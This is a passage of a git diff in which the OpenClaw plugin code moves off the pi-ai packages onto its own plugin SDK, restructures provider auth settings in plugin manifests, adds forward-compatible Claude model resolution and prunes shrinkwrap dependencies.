"@anthropic-ai/vertex-sdk"; -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { - streamAnthropic as streamAnthropicDefault, - type AnthropicOptions, + stream as streamDefault, type Model, -} from "@earendil-works/pi-ai"; + type ProviderStreamOptions, +} from "openclaw/plugin-sdk/llm"; import { applyAnthropicPayloadPolicyToParams, resolveAnthropicPayloadPolicy, } from "openclaw/plugin-sdk/provider-stream-shared"; import { resolveAnthropicVertexClientRegion, resolveAnthropicVertexProjectId } from "./region.js"; -type AnthropicVertexEffort = NonNullable; +type AnthropicVertexTransportOptions = ProviderStreamOptions & { + client?: unknown; + thinkingEnabled?: boolean; + thinkingBudgetTokens?: number; + effort?: "low" | "medium" | "high" | "xhigh" | "max"; +}; + +type AnthropicVertexEffort = NonNullable; type AnthropicVertexAdaptiveEffort = AnthropicVertexEffort | "xhigh"; type AnthropicVertexClientOptions = { baseURL?: string; @@ -21,12 +28,12 @@ type AnthropicVertexClientOptions = { export type AnthropicVertexStreamDeps = { AnthropicVertex: new (options: AnthropicVertexClientOptions) => unknown; - streamAnthropic: typeof streamAnthropicDefault; + streamAnthropic: typeof streamDefault; }; const defaultAnthropicVertexStreamDeps: AnthropicVertexStreamDeps = { AnthropicVertex: AnthropicVertexSdk as AnthropicVertexStreamDeps["AnthropicVertex"], - streamAnthropic: streamAnthropicDefault, + streamAnthropic: streamDefault, }; function isClaudeOpus47Model(modelId: string): boolean { @@ -85,9 +92,9 @@ function resolveAnthropicVertexMaxTokens(params: { function createAnthropicVertexOnPayload(params: { model: { api: string; baseUrl?: string; provider: string }; - cacheRetention: AnthropicOptions["cacheRetention"] | undefined; - onPayload: AnthropicOptions["onPayload"] | undefined; -}): NonNullable { + cacheRetention: ProviderStreamOptions["cacheRetention"] | undefined; + onPayload: ProviderStreamOptions["onPayload"] | undefined; +}): NonNullable { const policy = resolveAnthropicPayloadPolicy({ provider: params.model.provider, api: params.model.api, @@ -114,10 +121,10 @@ function createAnthropicVertexOnPayload(params: { } /** - * Create a StreamFn that routes through pi-ai's `streamAnthropic` with an + * Create a StreamFn that routes through OpenClaw's generic model stream with an * injected `AnthropicVertex` client. All streaming, message conversion, and - * event handling is handled by pi-ai — we only supply the GCP-authenticated - * client and map SimpleStreamOptions → AnthropicOptions. + * event handling is handled by the shared model runtime - we only supply the GCP-authenticated + * client and provider transport options. */ export function createAnthropicVertexStreamFn( projectId: string | undefined, @@ -141,8 +148,8 @@ export function createAnthropicVertexStreamFn( modelMaxTokens: transportModel.maxTokens, requestedMaxTokens: options?.maxTokens, }); - const opts: AnthropicOptions = { - client: client as AnthropicOptions["client"], + const opts: AnthropicVertexTransportOptions = { + client, temperature: options?.temperature, ...(maxTokens !== undefined ? { maxTokens } : {}), signal: options?.signal, diff --git a/extensions/anthropic/cli-backend.ts b/extensions/anthropic/cli-backend.ts index 4a0b4839a4a..df5610d7666 100644 --- a/extensions/anthropic/cli-backend.ts +++ b/extensions/anthropic/cli-backend.ts @@ -16,6 +16,7 @@ import { export function buildAnthropicCliBackend(): CliBackendPlugin { return { id: CLAUDE_CLI_BACKEND_ID, + modelProvider: "anthropic", liveTest: { defaultModelRef: CLAUDE_CLI_DEFAULT_MODEL_REF, defaultImageProbe: true, diff --git a/extensions/anthropic/cli-migration.test.ts b/extensions/anthropic/cli-migration.test.ts index 4e918d892ea..857c4fcb734 100644 --- a/extensions/anthropic/cli-migration.test.ts +++ b/extensions/anthropic/cli-migration.test.ts @@ -155,7 +155,6 @@ describe("anthropic cli migration", () => { primary: "anthropic/claude-opus-4-7", fallbacks: ["anthropic/claude-opus-4-6", "openai/gpt-5.2"], }, - agentRuntime: { id: "claude-cli" }, models: { "anthropic/claude-opus-4-7": { alias: "Opus", @@ -250,7 +249,6 @@ describe("anthropic cli migration", () => { expect(result.configPatch).toEqual({ agents: { defaults: { - agentRuntime: { id: "claude-cli" }, models: { "openai/gpt-5.2": {}, "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, @@ -295,7 +293,6 @@ describe("anthropic cli migration", () => { agents: { defaults: { model: { primary: "anthropic/claude-opus-4-7" }, - agentRuntime: { id: "claude-cli" }, models: { "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, "anthropic/claude-sonnet-4-6": { agentRuntime: { id: "claude-cli" } }, @@ -317,7 +314,7 @@ describe("anthropic cli migration", () => { models: { "anthropic/claude-opus-4-7": { alias: "Opus", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, "anthropic/claude-sonnet-4-6": { alias: "Sonnet", @@ -335,7 +332,7 @@ describe("anthropic cli migration", () => { expect(defaults.models?.["anthropic/claude-opus-4-7"]).toEqual({ alias: "Opus", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }); expect(defaults.models?.["anthropic/claude-sonnet-4-6"]).toEqual({ alias: "Sonnet", @@ -467,13 +464,11 @@ describe("anthropic cli migration", () => { const defaults = result?.agents?.defaults as | { model?: { primary?: string; fallbacks?: string[] }; - agentRuntime?: { id?: string }; models?: Record; } | undefined; expect(defaults?.model?.primary).toBe("anthropic/claude-opus-4-7"); expect(defaults?.model?.fallbacks).toEqual(["anthropic/claude-opus-4-6", "openai/gpt-5.2"]); - expect(defaults?.agentRuntime?.id).toBe("claude-cli"); expect(defaults?.models?.["anthropic/claude-opus-4-7"]).toEqual({ alias: "Opus", agentRuntime: { id: "claude-cli" }, diff --git a/extensions/anthropic/cli-migration.ts b/extensions/anthropic/cli-migration.ts index dd38bcc9349..f2623728f56 100644 --- a/extensions/anthropic/cli-migration.ts +++ b/extensions/anthropic/cli-migration.ts @@ -16,9 +16,6 @@ import { CLAUDE_CLI_BACKEND_ID, CLAUDE_CLI_DEFAULT_ALLOWLIST_REFS } from "./cli- type AgentDefaultsModel = NonNullable["defaults"]>["model"]; type AgentDefaultsModels = NonNullable["defaults"]>["models"]; -type AgentDefaultsRuntimePolicy = NonNullable< - NonNullable["defaults"] ->["agentRuntime"]; type ClaudeCliCredential = NonNullable>; function toAnthropicModelRef(raw: string): string | null { @@ -156,17 +153,6 @@ function seedClaudeCliAllowlist( return next; } -function selectClaudeCliRuntime(agentRuntime: AgentDefaultsRuntimePolicy | undefined) { - const currentRuntime = agentRuntime?.id?.trim(); - if (currentRuntime && currentRuntime !== "auto") { - return agentRuntime; - } - return { - ...agentRuntime, - id: CLAUDE_CLI_BACKEND_ID, - }; -} - function modelEntryWithClaudeCliRuntime(entry: unknown): Record { const base = isRecord(entry) ? { ...entry } : {}; const currentRuntimeId = isRecord(base.agentRuntime) ? base.agentRuntime.id : undefined; @@ -246,7 +232,6 @@ export function buildAnthropicCliMigrationResult( agents: { defaults: { ...(rewrittenModel.changed ? { model: rewrittenModel.value } : {}), - agentRuntime: selectClaudeCliRuntime(defaults?.agentRuntime), models: nextModels, }, }, diff --git a/extensions/anthropic/config-defaults.ts b/extensions/anthropic/config-defaults.ts index a235f0107ba..0a7869e0f33 100644 --- a/extensions/anthropic/config-defaults.ts +++ b/extensions/anthropic/config-defaults.ts @@ -127,9 +127,6 @@ function isAnthropicCacheRetentionTarget( } function usesClaudeCliModelSelection(config: OpenClawConfig): boolean { - if (config.agents?.defaults?.agentRuntime?.id === CLAUDE_CLI_BACKEND_ID) { - return true; - } const primary = resolveModelPrimaryValue( config.agents?.defaults?.model as | string diff --git a/extensions/anthropic/index.test.ts b/extensions/anthropic/index.test.ts index a51e82a41f1..63061bf0e3f 100644 --- a/extensions/anthropic/index.test.ts +++ b/extensions/anthropic/index.test.ts @@ -497,6 +497,24 @@ describe("anthropic provider replay hooks", () => { ).toBe(false); }); + it("resolves dated modern Claude refs without discovery templates", async () => { + const provider = await registerSingleProviderPlugin(anthropicPlugin); + + const resolved = provider.resolveDynamicModel?.({ + provider: "anthropic", + modelId: "claude-opus-4.7-20260219", + modelRegistry: createModelRegistry([]), + } as ProviderResolveDynamicModelContext); + + expectFields(resolved, { + provider: "anthropic", + id: "claude-opus-4.7-20260219", + api: "anthropic-messages", + input: ["text", "image"], + reasoning: true, + }); + }); + it("does not forward-compat case-mismatched Anthropic model ids", async () => { const provider = await registerSingleProviderPlugin(anthropicPlugin); diff --git a/extensions/anthropic/openclaw.plugin.json b/extensions/anthropic/openclaw.plugin.json index 02bfcacb6e0..776ccd68f0f 100644 --- a/extensions/anthropic/openclaw.plugin.json +++ b/extensions/anthropic/openclaw.plugin.json @@ -128,8 +128,13 @@ }, "cliBackends": ["claude-cli"], "syntheticAuthRefs": ["claude-cli"], - "providerAuthEnvVars": { - "anthropic": ["ANTHROPIC_OAUTH_TOKEN", "ANTHROPIC_API_KEY"] + "setup": { + "providers": [ + { + "id": "anthropic", + "envVars": ["ANTHROPIC_OAUTH_TOKEN", "ANTHROPIC_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/anthropic/package.json b/extensions/anthropic/package.json index e5671a8aebd..4a2102168fd 100644 --- a/extensions/anthropic/package.json +++ b/extensions/anthropic/package.json @@ -4,9 +4,6 @@ "private": true, "description": "OpenClaw Anthropic provider plugin", "type": "module", - "dependencies": { - "@earendil-works/pi-ai": "0.75.5" - }, "devDependencies": { "@openclaw/plugin-sdk": "workspace:*" }, diff --git a/extensions/anthropic/register.runtime.ts b/extensions/anthropic/register.runtime.ts index 91361b5cc68..536bfa95bf0 100644 --- a/extensions/anthropic/register.runtime.ts +++ b/extensions/anthropic/register.runtime.ts @@ -261,6 +261,32 @@ function resolveAnthropic46ForwardCompatModel(params: { }); } +function buildAnthropicForwardCompatModel( + ctx: ProviderResolveDynamicModelContext, +): ProviderRuntimeModel | undefined { + const trimmedModelId = ctx.modelId.trim(); + const lower = normalizeLowercaseStringOrEmpty(trimmedModelId); + if (trimmedModelId !== lower || !matchesAnthropicModernModel(lower)) { + return undefined; + } + const provider = + normalizeLowercaseStringOrEmpty(ctx.provider) === CLAUDE_CLI_BACKEND_ID + ? CLAUDE_CLI_BACKEND_ID + : PROVIDER_ID; + return { + id: trimmedModelId, + name: trimmedModelId, + provider, + api: "anthropic-messages", + baseUrl: "https://api.anthropic.com", + reasoning: true, + input: ["text", "image"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 200_000, + maxTokens: 64_000, + }; +} + function resolveAnthropicForwardCompatModel( ctx: ProviderResolveDynamicModelContext, ): ProviderRuntimeModel | undefined { @@ -288,7 +314,8 @@ function resolveAnthropicForwardCompatModel( dashTemplateId: ANTHROPIC_SONNET_46_MODEL_ID, dotTemplateId: ANTHROPIC_SONNET_46_MODEL_ID, fallbackTemplateIds: [ANTHROPIC_SONNET_46_MODEL_ID, ANTHROPIC_SONNET_46_DOT_MODEL_ID], - }) + }) ?? + buildAnthropicForwardCompatModel(ctx) ); } diff --git a/extensions/anthropic/stream-wrappers.test.ts b/extensions/anthropic/stream-wrappers.test.ts index 10c2d1a0280..11a7574afb9 100644 --- a/extensions/anthropic/stream-wrappers.test.ts +++ b/extensions/anthropic/stream-wrappers.test.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { afterEach, describe, expect, it, vi } from "vitest"; import { testing, diff --git a/extensions/anthropic/stream-wrappers.ts b/extensions/anthropic/stream-wrappers.ts index 216eecb5e92..154b693d301 100644 --- a/extensions/anthropic/stream-wrappers.ts +++ b/extensions/anthropic/stream-wrappers.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import { streamSimple } from "openclaw/plugin-sdk/llm"; import type { ProviderWrapStreamFnContext } from "openclaw/plugin-sdk/plugin-entry"; import { applyAnthropicPayloadPolicyToParams, @@ -13,9 +13,7 @@ import { createSubsystemLogger } from "openclaw/plugin-sdk/runtime-env"; import { normalizeFastMode, normalizeLowercaseStringOrEmpty, - normalizeStringEntries, readStringValue, - uniqueStrings, } from "openclaw/plugin-sdk/string-coerce-runtime"; const log = createSubsystemLogger("anthropic-stream"); @@ -29,14 +27,14 @@ const ANTHROPIC_GA_1M_MODEL_PREFIXES = [ "claude-sonnet-4-6", "claude-sonnet-4.6", ] as const; -const PI_AI_DEFAULT_ANTHROPIC_BETAS = [ +const OPENCLAW_DEFAULT_ANTHROPIC_BETAS = [ "fine-grained-tool-streaming-2025-05-14", "interleaved-thinking-2025-05-14", ] as const; -const PI_AI_OAUTH_ANTHROPIC_BETAS = [ +const OPENCLAW_OAUTH_ANTHROPIC_BETAS = [ "claude-code-20250219", "oauth-2025-04-20", - ...PI_AI_DEFAULT_ANTHROPIC_BETAS, + ...OPENCLAW_DEFAULT_ANTHROPIC_BETAS, ] as const; type AnthropicServiceTier = "auto" | "standard_only"; @@ -50,7 +48,10 @@ function parseHeaderList(value: unknown): string[] { if (typeof value !== "string") { return []; } - return normalizeStringEntries(value.split(",")); + return value + .split(",") + .map((item) => item.trim()) + .filter(Boolean); } function mergeAnthropicBetaHeader( @@ -62,7 +63,7 @@ function mergeAnthropicBetaHeader( (key) => normalizeLowercaseStringOrEmpty(key) === "anthropic-beta", ); const existing = existingKey ? parseHeaderList(merged[existingKey]) : []; - const values = uniqueStrings([...existing, ...betas]); + const values = Array.from(new Set([...existing, ...betas])); const key = existingKey ?? "anthropic-beta"; merged[key] = values.join(","); return merged; @@ -134,10 +135,10 @@ export function createAnthropicBetaHeadersWrapper( const isOauth = isAnthropicOAuthApiKey(options?.apiKey); const effectiveBetas = betas.filter((beta) => beta !== ANTHROPIC_CONTEXT_1M_BETA_LEGACY); - const piAiBetas = isOauth - ? (PI_AI_OAUTH_ANTHROPIC_BETAS as readonly string[]) - : (PI_AI_DEFAULT_ANTHROPIC_BETAS as readonly string[]); - const allBetas = uniqueStrings([...piAiBetas, ...effectiveBetas]); + const openClawBetas = isOauth + ? (OPENCLAW_OAUTH_ANTHROPIC_BETAS as readonly string[]) + : (OPENCLAW_DEFAULT_ANTHROPIC_BETAS as readonly string[]); + const allBetas = [...new Set([...openClawBetas, ...effectiveBetas])]; return underlying(model, context, { ...options, headers: mergeAnthropicBetaHeader(options?.headers, allBetas), diff --git a/extensions/arcee/openclaw.plugin.json b/extensions/arcee/openclaw.plugin.json index 4bc5a3fc92f..895fbe3ef60 100644 --- a/extensions/arcee/openclaw.plugin.json +++ b/extensions/arcee/openclaw.plugin.json @@ -5,8 +5,13 @@ }, "enabledByDefault": true, "providers": ["arcee"], - "providerAuthEnvVars": { - "arcee": ["ARCEEAI_API_KEY"] + "setup": { + "providers": [ + { + "id": "arcee", + "envVars": ["ARCEEAI_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/azure-speech/openclaw.plugin.json b/extensions/azure-speech/openclaw.plugin.json index 0fc219481bc..7b4b6ec0c52 100644 --- a/extensions/azure-speech/openclaw.plugin.json +++ b/extensions/azure-speech/openclaw.plugin.json @@ -6,20 +6,16 @@ "enabledByDefault": true, "name": "Azure Speech", "description": "Azure AI Speech text-to-speech (MP3, native Ogg/Opus voice notes, PCM telephony).", - "providerAuthEnvVars": { - "azure-speech": [ - "AZURE_SPEECH_KEY", - "AZURE_SPEECH_API_KEY", - "SPEECH_KEY", - "AZURE_SPEECH_REGION", - "SPEECH_REGION" - ], - "azure": [ - "AZURE_SPEECH_KEY", - "AZURE_SPEECH_API_KEY", - "SPEECH_KEY", - "AZURE_SPEECH_REGION", - "SPEECH_REGION" + "setup": { + "providers": [ + { + "id": "azure-speech", + "envVars": ["AZURE_SPEECH_KEY", "AZURE_SPEECH_API_KEY", "SPEECH_KEY", "AZURE_SPEECH_REGION", "SPEECH_REGION"] + }, + { + "id": "azure", + "envVars": ["AZURE_SPEECH_KEY", "AZURE_SPEECH_API_KEY", "SPEECH_KEY", "AZURE_SPEECH_REGION", "SPEECH_REGION"] + } ] }, "contracts": { diff --git a/extensions/brave/openclaw.plugin.json b/extensions/brave/openclaw.plugin.json index 312183dd9b3..915a60c0fc0 100644 --- a/extensions/brave/openclaw.plugin.json +++ b/extensions/brave/openclaw.plugin.json @@ -5,9 +5,6 @@ "activation": { "onStartup": false }, - "providerAuthEnvVars": { - "brave": ["BRAVE_API_KEY"] - }, "setup": { "providers": [ { diff --git a/extensions/browser/src/browser-tool.actions.ts b/extensions/browser/src/browser-tool.actions.ts index f18badbfef7..28a803530b9 100644 --- a/extensions/browser/src/browser-tool.actions.ts +++ b/extensions/browser/src/browser-tool.actions.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { DEFAULT_AI_SNAPSHOT_MAX_CHARS, browserAct, diff --git a/extensions/byteplus/live.test.ts b/extensions/byteplus/live.test.ts index a081f1ccee4..f2cde1398b7 100644 --- a/extensions/byteplus/live.test.ts +++ b/extensions/byteplus/live.test.ts @@ -1,4 +1,4 @@ -import { completeSimple, type Model } from "@earendil-works/pi-ai"; +import { completeSimple, type Model } from "openclaw/plugin-sdk/llm"; import { createSingleUserPromptMessage, extractNonEmptyAssistantText, diff --git a/extensions/byteplus/openclaw.plugin.json b/extensions/byteplus/openclaw.plugin.json index 76e588b997e..29869efbe2d 100644 --- a/extensions/byteplus/openclaw.plugin.json +++ b/extensions/byteplus/openclaw.plugin.json @@ -6,8 +6,13 @@ "enabledByDefault": true, "providerCatalogEntry": "./provider-discovery.ts", "providers": ["byteplus", "byteplus-plan"], - "providerAuthEnvVars": { - "byteplus": ["BYTEPLUS_API_KEY"] + "setup": { + "providers": [ + { + "id": "byteplus", + "envVars": ["BYTEPLUS_API_KEY"] + } + ] }, "providerAuthAliases": { "byteplus-plan": "byteplus" diff --git a/extensions/cerebras/openclaw.plugin.json b/extensions/cerebras/openclaw.plugin.json index 025a1ac097f..2b671b6d674 100644 --- a/extensions/cerebras/openclaw.plugin.json +++ b/extensions/cerebras/openclaw.plugin.json @@ -85,8 +85,13 @@ "cerebras": "static" } }, - "providerAuthEnvVars": { - "cerebras": ["CEREBRAS_API_KEY"] + "setup": { + "providers": [ + { + "id": "cerebras", + "envVars": ["CEREBRAS_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/chutes/oauth.ts b/extensions/chutes/oauth.ts index 53248ad147e..8e92a7d4540 100644 --- a/extensions/chutes/oauth.ts +++ b/extensions/chutes/oauth.ts @@ -1,5 +1,4 @@ import { randomBytes } from "node:crypto"; -import type { OAuthCredentials } from "@earendil-works/pi-ai"; import { generatePkceVerifierChallenge, toFormUrlEncoded } from "openclaw/plugin-sdk/provider-auth"; import { parseOAuthCallbackInput, @@ -16,6 +15,13 @@ type OAuthPrompt = { placeholder?: string; }; +type OAuthCredentials = { + refresh: string; + access: string; + expires: number; + [key: string]: unknown; +}; + type ChutesOAuthAppConfig = { clientId: string; clientSecret?: string; diff --git a/extensions/chutes/openclaw.plugin.json b/extensions/chutes/openclaw.plugin.json index b358d822064..94a49d32dcd 100644 --- a/extensions/chutes/openclaw.plugin.json +++ b/extensions/chutes/openclaw.plugin.json @@ -18,8 +18,13 @@ } } }, - "providerAuthEnvVars": { - "chutes": ["CHUTES_API_KEY", "CHUTES_OAUTH_TOKEN"] + "setup": { + "providers": [ + { + "id": "chutes", + "envVars": ["CHUTES_API_KEY", "CHUTES_OAUTH_TOKEN"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/clickclack/src/inbound.test.ts b/extensions/clickclack/src/inbound.test.ts index 5aeac6eb508..2f038a1aa66 100644 --- a/extensions/clickclack/src/inbound.test.ts +++ b/extensions/clickclack/src/inbound.test.ts @@ -26,7 +26,7 @@ vi.mock("./outbound.js", () => ({ function createRuntime(): PluginRuntime { return createPluginRuntimeMock({ agent: { - runEmbeddedPiAgent: vi.fn().mockResolvedValue({ + runEmbeddedAgent: vi.fn().mockResolvedValue({ payloads: [{ text: "service bot online" }], meta: {}, }), @@ -177,7 +177,7 @@ describe("handleClickClackInbound", () => { }); expect(runtime.channel.inbound.dispatchReply).not.toHaveBeenCalled(); - expect(runtime.agent.runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runtime.agent.runEmbeddedAgent).not.toHaveBeenCalled(); const completionRequest = (runtime.llm.complete as LlmCompleteMock).mock.calls[0]?.[0]; expect(completionRequest?.agentId).toBe("service-bot"); expect(completionRequest?.model).toBe("openai/gpt-5.4-mini"); diff --git a/extensions/cloudflare-ai-gateway/index.test.ts b/extensions/cloudflare-ai-gateway/index.test.ts index 25b4451f271..70d588c24eb 100644 --- a/extensions/cloudflare-ai-gateway/index.test.ts +++ b/extensions/cloudflare-ai-gateway/index.test.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { capturePluginRegistration } from "openclaw/plugin-sdk/plugin-test-runtime"; import { describe, expect, it } from "vitest"; import plugin from "./index.js"; diff --git a/extensions/cloudflare-ai-gateway/openclaw.plugin.json b/extensions/cloudflare-ai-gateway/openclaw.plugin.json index 6c907cb0a0e..e57b1f761e7 100644 --- a/extensions/cloudflare-ai-gateway/openclaw.plugin.json +++ b/extensions/cloudflare-ai-gateway/openclaw.plugin.json @@ -17,8 +17,13 @@ } } }, - "providerAuthEnvVars": { - "cloudflare-ai-gateway": ["CLOUDFLARE_AI_GATEWAY_API_KEY"] + "setup": { + "providers": [ + { + "id": "cloudflare-ai-gateway", + "envVars": ["CLOUDFLARE_AI_GATEWAY_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/cloudflare-ai-gateway/stream-wrappers.test.ts b/extensions/cloudflare-ai-gateway/stream-wrappers.test.ts index 5e1602e9acc..8c70c176c30 100644 --- a/extensions/cloudflare-ai-gateway/stream-wrappers.test.ts +++ b/extensions/cloudflare-ai-gateway/stream-wrappers.test.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { afterAll, beforeEach, describe, expect, it, vi } from "vitest"; import { testing, diff --git a/extensions/cloudflare-ai-gateway/stream-wrappers.ts b/extensions/cloudflare-ai-gateway/stream-wrappers.ts index 71399756f9d..8025adc4a04 100644 --- a/extensions/cloudflare-ai-gateway/stream-wrappers.ts +++ b/extensions/cloudflare-ai-gateway/stream-wrappers.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import type { ProviderWrapStreamFnContext } from "openclaw/plugin-sdk/plugin-entry"; import { createAnthropicThinkingPrefillPayloadWrapper } from "openclaw/plugin-sdk/provider-stream-shared"; import { createSubsystemLogger } from "openclaw/plugin-sdk/runtime-env"; diff --git a/extensions/codex/npm-shrinkwrap.json b/extensions/codex/npm-shrinkwrap.json index 8f0bf7419e7..5f061fac250 100644 --- a/extensions/codex/npm-shrinkwrap.json +++ b/extensions/codex/npm-shrinkwrap.json @@ -8,761 +8,12 @@ "name": "@openclaw/codex", "version": "2026.5.27", "dependencies": { - "@earendil-works/pi-coding-agent": "0.75.5", "@openai/codex": "0.134.0", "typebox": "1.1.38", "ws": "8.21.0", "zod": "4.4.3" } }, - "node_modules/@anthropic-ai/sdk": { - "version": "0.98.0", - "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.98.0.tgz", - "integrity": "sha512-N7aXtCvC5g6T1Y4V29lJjceu/zTkVkIZF0jdBvagr0TRFHuKeImffalGWEfqZKrvjH+IQbzJWw6TmSmUzrlMgg==", - "license": "MIT", - "dependencies": { - "json-schema-to-ts": "^3.1.1", - "standardwebhooks": "^1.0.0" - }, - "bin": { - "anthropic-ai-sdk": "bin/cli" - }, - "peerDependencies": { - "zod": "^3.25.0 || ^4.0.0" - }, - "peerDependenciesMeta": { - "zod": { - "optional": true - } - } - }, - "node_modules/@aws-crypto/crc32": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/crc32/-/crc32-5.2.0.tgz", - "integrity": "sha512-nLbCWqQNgUiwwtFsen1AdzAtvuLRsQS8rYgMuxCrdKf9kOssamGLuPwyTY9wyYblNr9+1XM8v6zoDTPPSIeANg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/util": "^5.2.0", - "@aws-sdk/types": "^3.222.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/@aws-crypto/sha256-browser": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-browser/-/sha256-browser-5.2.0.tgz", - "integrity": "sha512-AXfN/lGotSQwu6HNcEsIASo7kWXZ5HYWvfOmSNKDsEqC4OashTp8alTmaz+F7TC2L083SFv5RdB+qU3Vs1kZqw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-js": "^5.2.0", - "@aws-crypto/supports-web-crypto": "^5.2.0", - "@aws-crypto/util": "^5.2.0", - "@aws-sdk/types": "^3.222.0", - "@aws-sdk/util-locate-window": "^3.0.0", - "@smithy/util-utf8": "^2.0.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-crypto/sha256-js": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-js/-/sha256-js-5.2.0.tgz", - "integrity": "sha512-FFQQyu7edu4ufvIZ+OadFpHHOt+eSTBaYaki44c+akjg7qZg9oOQeLlk77F6tSYqjDAFClrHJk9tMf0HdVyOvA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/util": "^5.2.0", - "@aws-sdk/types": "^3.222.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/@aws-crypto/supports-web-crypto": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/supports-web-crypto/-/supports-web-crypto-5.2.0.tgz", - "integrity": "sha512-iAvUotm021kM33eCdNfwIN//F77/IADDSs58i+MDaOqFrVjZo9bAal0NK7HurRuWLLpF1iLX7gbWrjHjeo+YFg==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-crypto/util": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/util/-/util-5.2.0.tgz", - "integrity": "sha512-4RkU9EsI6ZpBve5fseQlGNUWKMa1RLPQ1dnjnQoe07ldfIzcsGb5hC5W0Dm7u423KWzawlrpbjXBrXCEv9zazQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.222.0", - "@smithy/util-utf8": "^2.0.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-sdk/client-bedrock-runtime": { - "version": "3.1053.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-runtime/-/client-bedrock-runtime-3.1053.0.tgz", - "integrity": "sha512-I5dua8y1logE+Mx6r5kvI1tjM+XyC3H42KDCpEqmhrJfanor/x/AdOavyv3HnS4sBqUxx2IrjLP3ouEumjeTzA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/credential-provider-node": "^3.972.44", - "@aws-sdk/eventstream-handler-node": "^3.972.17", - "@aws-sdk/middleware-eventstream": "^3.972.13", - "@aws-sdk/middleware-websocket": "^3.972.21", - "@aws-sdk/token-providers": "3.1053.0", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/node-http-handler": "^4.7.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/core": { - "version": "3.974.13", - "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.974.13.tgz", - "integrity": "sha512-+Y5/4tHki0uYgyx8eun146DegRVQBpdKGK5RbV0FTKJPpaKTchvqVxrrRFK6Wk0JksO4iAZKw3eqxGEIwtO98w==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@aws-sdk/xml-builder": "^3.972.25", - "@aws/lambda-invoke-store": "^0.2.2", - "@smithy/core": "^3.24.3", - "@smithy/signature-v4": "^5.4.2", - "@smithy/types": "^4.14.2", - "bowser": "^2.11.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-env": { - "version": "3.972.39", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.39.tgz", - "integrity": "sha512-29wX9zpAvEt1vcj0psha+y6ygBHy2V/S72mp6e7q0KARLWXq+pwE/lR6qGkwknQvruh52lXvlqZIga8Hdxkucw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-http": { - "version": "3.972.41", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.41.tgz", - "integrity": "sha512-IA3CQTjtJkb6u1H4mE4936c8OPBMa9Jggtwe8U2Mqw/vvb/tZ5Ebd0mcZcX0uKWQhOyYo/+qNIwkV5Xh+FeJJA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": 